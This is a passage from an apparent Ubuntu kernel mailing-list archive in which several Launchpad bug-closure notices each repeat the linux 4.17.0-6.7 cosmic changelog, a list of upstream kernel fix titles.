cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1776967] Re: glibc pkeys test fail on powerpc
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1779823] Re: xhci_hcd 0000:00:14.0: Root hub is not suspended
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1776491] Re: linux-snapdragon: wcn36xx: mac address generation on boot
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1775390] Re: kernel: Fix memory leak on CCA and EP11 CPRB processing.
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1759547] Re: Use med_power_with_dipm SATA LPM to save more power for mobile platforms
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1772516] Re: [Config] enable EDAC_DEBUG on ARM64
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1728238] Re: update-initramfs not adding i915 GuC firmware for Kaby Lake, firmware fails to load
This bug was fixed in the package linux - 4.17.0-6.7 --- linux (4.17.0-6.7) cosmic; urgency=medium * linux: 4.17.0-6.7 -proposed tracker (LP: #1783396) * [Regression] EXT4-fs error (device sda2): ext4_validate_block_bitmap:383: comm stress-ng: bg 4705: bad block bitmap checksum (LP: #1781709) - SAUCE: Revert "UBUNTU: SAUCE: ext4: fix ext4_validate_inode_bitmap: comm stress-ng: Corrupt inode bitmap" - SAUCE: ext4: check for allocation block validity with block group locked * Cosmic update to 4.17.9 stable release (LP: #1783201) - userfaultfd: hugetlbfs: fix userfaultfd_huge_must_wait() pte access - mm: hugetlb: yield when prepping struct pages - mm: teach dump_page() to correctly output poisoned struct pages - PCI / ACPI / PM: Resume bridges w/o drivers on suspend-to-RAM - ACPICA: Drop leading newlines from error messages - ACPI / battery: Safe unregistering of hooks - drm/amdgpu: Make struct amdgpu_atif private to amdgpu_acpi.c - tracing: Avoid string overflow - tracing: Fix missing return symbol in function_graph output - scsi: sg: mitigate read/write abuse - scsi: aacraid: Fix PD performance regression over incorrect qd being set - scsi: target: Fix truncated PR-in ReadKeys response - s390: Correct register corruption in critical section cleanup - drbd: fix access after free - vfio: Use get_user_pages_longterm correctly - ARM: dts: imx51-zii-rdu1: fix touchscreen pinctrl - ARM: dts: omap3: Fix am3517 mdio and emac clock references - ARM: dts: dra7: Disable metastability workaround for USB2 - cifs: Fix use after free of a mid_q_entry - cifs: Fix memory leak in smb2_set_ea() - cifs: Fix slab-out-of-bounds in send_set_info() on SMB2 ACE setting - cifs: Fix infinite loop when using hard mount option - drm: Use kvzalloc for allocating blob property memory - drm/udl: fix display corruption of the last line - drm/amdgpu: Add amdgpu_atpx_get_dhandle() - drm/amdgpu: Dynamically probe for ATIF handle (v2) - jbd2: don't mark block as modified if the handle is out of credits - ext4: add corruption check in ext4_xattr_set_entry() - ext4: always verify the magic number in xattr blocks - ext4: make sure bitmaps and the inode table don't overlap with bg descriptors - ext4: always check block group bounds in ext4_init_block_bitmap() - ext4: only look at the bg_flags field if it is valid - ext4: verify the depth of extent tree in ext4_find_extent() - ext4: include the illegal physical block in the bad map ext4_error msg - ext4: clear i_data in ext4_inode_info when removing inline data - ext4: never move the system.data xattr out of the inode body - ext4: avoid running out of journal credits when appending to an inline file - ext4: add more inode number paranoia checks - 